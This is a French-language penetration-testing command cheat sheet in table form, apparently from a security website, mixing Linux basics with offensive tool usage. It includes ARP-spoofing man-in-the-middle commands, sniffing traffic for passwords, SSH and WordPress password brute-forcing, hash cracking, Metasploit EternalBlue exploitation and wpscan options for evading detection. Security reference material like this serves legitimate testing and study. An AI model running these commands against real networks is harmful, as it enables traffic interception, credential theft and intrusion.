| tcpdump -i eth0 -c 10 -w tcpdump.pcap tcp | Capturer uniquement les paquets TCP | tcpdump | capture de paquets |
| tcpdump -i eth0 port 80 | Capturer le trafic à partir d'un port défini uniquement | tcpdump | capture de paquets |
| tcpdump -n -i eth0 | Arrêter la traduction et les recherches de noms de domaine (noms d'hôte ou noms de port) | tcpdump | capture de paquets |
| tcpdump -r tcpdump.txt | Lire et analyser le fichier de capture enregistré | tcpdump | capture de paquets |
| tcpdunp -IPV6 | Afficher uniquement les paquets IPV6 | tcpdump | capture de paquets |
| Tester le certificat TLS sur les sites "ssllabs.com" et "hardenize.com" | Tester le certificat TLS en ligne | openssl | Certificats TLS - SSL |
| top | Afficher les processus en temps réel | kill | Gestion des processus |
| touch file1.txt | Créer un fichier1.txt avec touch | touch | gestion dossiers et fichiers |
| ts | manipulation des sessions Terminal Server (autorise le dépassement du nombre maximal de connexions simultanées notamment). | Mimikatz | Exploitation vulnérabilités |
| uname -a | Afficher le système et le noyau | Linux standard | Linux OS |
| uptime | Afficher la disponibilité | Linux standard | Linux OS |
| watch -n 5 'ntpq -p' | Émettez la commande 'ntpq -p' toutes les 5 secondes et affichez la sortie | watch | Voir exécuter une cmd tout les 5s |
| whereis command | Trouver binaire / source / manuel pour la "commande" | whereis | gestion dossiers et fichiers |
| whoami | Montrez votre nom d'utilisateur | Linux standard | Linux OS |
| winmine | module de démonstration permettant de manipuler le démineur de Windows XP et 7. | Mimikatz | Exploitation vulnérabilités |
| xsltproc nmap.xml -o nmap.html | Convertir les fichiers xml nmap en fichiers html | nmap | Commande spéciale |
| arpspoof -i wlan0 192.168.1.20 192.168.1.1 | arpspoof -i interface ip_cible ip_du_routeur | arpspoof - suite dsniff | MITM - Man In The Middle |
| mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.20 -i wlan0 | Empoisonnement de la table ARP de l'hote 192.168.1.20 via l'interface wlan0 | mitmf | MITM - Man In The Middle |
| mitmf --arp --spoof --gateway 192.168.1.1 -i wlan0 | Empoisonnement de la table ARP de tous les hosts du LAN via l'interface wlan0 | mitmf | MITM - Man In The Middle |
| arp -a | Afficher ma table ARP | arpspoof - suite dsniff | MITM - Man In The Middle |
| ip neigh | Afficher mon cache ARP | ip neigh | MITM - Man In The Middle |
| ip neigh flush all | Supprimer mon cache ARP | ip neigh | MITM - Man In The Middle |
| ssh root@192.168.1.20 tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i - | Analyser le trafic à distance via SSH avec Wireshark (spécifiez "l'option -U" pour empêcher la mise en mémoire tampon et "-i any" pour voir toutes les interfaces | ssh + tcpdump + wireshark | Capture de paquets à distance |
| ngrep -i password | Rechercher le mot "password" dans le trafic réseau: | ngrep | Analyse de paquets |
| urlsnarf | Afficher les requêtes HTTP GET | urlsnarf | Analyse de paquets |
| driftnet | Afficher les images transmises | driftnet | Analyse de paquets |
| nmap -Pn -n -sS -p 22,25,80,443,8080 10.5.23.0/24 | Scan TCP (scan SYN = scan semi-ouvert) | nmap | Scanner de reseaux |
| nmap -n -sn -PR 10.5.23.0/24 | Scan hote ARP | nmap | Scanner de reseaux |
| ls /usr/share/nmap/scripts | Liste des scripts Nmap | nmap | Scripts NSE |
| nmap -n -Pn -p 443 --script smbvuln- ms17-010 10.5.23.0/24 | Rechercher les hôtes vulnérables EternalBlue | nmap | Scripts NSE |
| shodan.io, censys.io | Bases de données publiques de scan Internet | shodan | Scanner de reseaux |
| ncrack -p 22 --user root -P ./passwords.txt 10.5.23.0/24 | Essayez les mots de passe SSH à partir d'une liste de mots | ncrack | Déchiffrement de mots de passe |
| searchsploit apache | Recherche des exploits pour "apache" (copie locale de l'Exploit-DB) | searchsploit | Recherche des exploits |
| john hashes.txt | Déchiffrement d'un hash en utilisant John the Ripper | John the Ripper | Déchiffrement de hash |
| hashid 869d[...]bd88 | Identifier le type de hachage | hashid | Déchiffrement de hash |
| hashcat --example-hashes | Afficher des exemples de types de hachage pour hashcat | hashcat | Déchiffrement de hash |
| hashcat -m 5600 -a 0 hash.txt /path/to/wordlists/* | Déchiffrement hashes par code-type (par exemple code 5600 pour le type NetNTLMv2) | hashcat | Déchiffrement de hash |
| msfconsole | Démarrez Metasploit | métasploit - msfconsole | Exploitation vulnérabilités |
| > search eternalblue | Recherche exploit | métasploit - msfconsole | Exploitation vulnérabilités |
| msf > use exploit/windows/smb/ms17_… | Utilisez exploit | métasploit - msfconsole | Exploitation vulnérabilités |
| curl ifconfig.me | Afficher son ip publique | curl | Linux OS |
ngrep 'secret' port 389
| Rechercher le mot "secret" sur le trafic réseau, sur le port 389 (ldap) plus exactement | ngrep | Analyse de paquets |
systemctl [start|restart|stop|status|enable|disable] ssh
| Méthode "Systemd" - Démarrer/arrêter/statuts SSH | ssh | Serveur/Client SSH |
service ssh [start|restart|stop|status]
| Méthode "service command" - Démarrer/arrêter/statuts SSH | ssh | Serveur/Client SSH |
/etc/init.d/ssh [start|restart|stop|status]
| Méthode "System V. Init scripts" - Démarrer/arrêter/statuts SSH | ssh | Serveur/Client SSH |
| wpscan --url https://oksecu.com --passwords test-mdp.txt --url test-users.txt | | wpscan | scanner de vulnérabilités WordPress |
| wpscan --url https://oksecu.com -P soleil123 t -U admin | | wpscan | scanner de vulnérabilités WordPress |
| whatweb monsite.com | https://github.com/urbanadventurer/WhatWeb | whatweb | scan la structure d'un site web |
| netstat -lnp | grep LISTEN | Lister vos connexions entrantes/sortantes | netstat + grep | lister les connexions en ECOUTE |
| theharvester -d example.com -l 500 -b all -e admin@example.com | Collecte informations | theharvester | Rechercher des comptes de réseaux sociaux associés à une adresse e-mail |
| wpscan --url http://example.com | Scanne le site WordPress spécifié par l'URL pour détecter des vulnérabilités générales.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --enumerate u | Énumère les utilisateurs du site WordPress. Utile pour identifier les noms d'utilisateur, souvent utilisé pour des attaques de force brute.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --enumerate p | Énumère les plugins installés sur le site. Cette commande permet d'identifier les plugins potentiellement vulnérables. | wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --enumerate t | Énumère les thèmes installés sur le site WordPress pour rechercher d'éventuelles vulnérabilités.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --enumerate vp | Énumère les plugins vulnérables uniquement, en s'appuyant sur la base de données de vulnérabilités de WPScan.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --api-token YOUR_TOKEN | Utilise un jeton API WPScan pour accéder à la base de données en ligne des vulnérabilités WordPress. Requis pour certaines fonctions avancées. | wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --force | Force le scan même si le site est protégé ou si certains problèmes de certificat SSL sont détectés. | wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --passwords /path/to/passwords.txt | Effectue une attaque par force brute en testant plusieurs mots de passe sur les comptes utilisateurs énumérés précédemment. | wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --stealthy | Effectue un scan furtif en minimisant les requêtes, évitant ainsi de déclencher des protections anti-scan sur le site cible. | wpscan | scanner de vulnérabilités WordPress |
| wpscan --update | Met à jour WPScan et sa base de données de vulnérabilités pour garantir l'utilisation des informations les plus récentes lors des scans. | wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --enumerate ap | Énumère uniquement les plugins avec des versions vulnérables.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --help | Affiche l'aide complète de WPScan avec toutes les options disponibles et leurs descriptions.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --random-user-agent | Utilise un User-Agent aléatoire pour chaque requête HTTP afin de tromper les protections qui se basent sur l'empreinte du User-Agent.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --throttle 5 | Définit un délai de 5 secondes entre chaque requête pour éviter d'être détecté ou bloqué par des systèmes de défense anti-brute-force.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --proxy http://proxy.example.com:8080 | Utilise un serveur proxy pour masquer l'adresse IP de l'utilisateur lors de l'exécution du scan.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --ignore-main-redirect | Ignore les redirections principales du site, souvent utilisées pour des raisons de sécurité ou des configurations spécifiques.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --no-banner | Supprime l'affichage de la bannière WPScan lors de l'exécution, utile pour des scripts automatisés ou des rapports propres.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --output /path/to/output.txt | Enregistre les résultats du scan dans un fichier texte pour consultation ultérieure ou pour générer des rapports.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --format json --output report.json | Génère un rapport de scan au format JSON, pratique pour l'intégration avec d'autres outils ou l'analyse des résultats dans des systèmes automatisés. | wpscan | scanner de vulnérabilités WordPress |
| wpscan --disable-tls-checks | Désactive les vérifications des certificats TLS, utile si le site a un certificat auto-signé ou expiré.
| wpscan | scanner de vulnérabilités WordPress |
| wpscan --url http://example.com --enumerate vt | Énumère les thèmes vulnérables uniquement, en s'appuyant sur la base de données WPScan. | wpscan | scanner de vulnérabilités WordPress |
| wpscan --proxy-auth user:password | Ajoute une authentification proxy si le proxy utilisé pour le scan nécessite un identifiant et un mot de passe. | wpscan | scanner de vulnérabilités WordPress |
3.144.255.116
Total Users : 220867
Total views : 973568
dernières ALERTES !